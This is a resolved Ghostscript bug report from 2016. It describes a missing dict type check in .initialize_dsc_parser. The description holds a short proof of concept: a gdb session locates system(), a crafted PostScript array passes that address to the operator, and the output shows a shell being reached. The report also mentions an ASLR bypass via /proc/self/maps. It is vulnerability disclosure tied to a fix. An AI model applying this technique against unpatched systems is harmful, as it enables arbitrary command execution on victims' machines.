Summary: | .initialize_dsc_parser doesn't validate the parameter is a dict type before using it. | ||
---|---|---|---|
Product: | Ghostscript | Reporter: | Tavis Ormandy <taviso> |
Component: | General | Assignee: | Ken Sharp <ken.sharp> |
Status: | RESOLVED FIXED | ||
Severity: | normal | CC: | fw |
Priority: | P4 | ||
Version: | 9.20 | ||
Hardware: | PC | ||
OS: | Linux | ||
Customer: | Word Size: | --- |
Description
Tavis Ormandy
2016-10-04 15:23:22 UTC
This looks pretty simple to exploit, it's possible to bypass ASLR using bug 697169 and reading /proc/self/maps, then you can simply call any routine you want. (gdb) p system $1 = {int (const char *)} 0x7ffff6ef4220 <system> (gdb) r GPL Ghostscript 9.20 (2016-09-26) Copyright (C) 2016 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. GS>16#4141414141414141 [16#4141414141414141 16#4141414141414141 16#7ffff6ef4220 16#4141414141414141] .initialize_dsc_parser sh: -c: line 0: syntax error near unexpected token `)' sh: -c: line 0: ` hU)iAAAAAAAA|��' Fixed in commit 875a0095f37626a721c7ff57d606a0f95af03913 |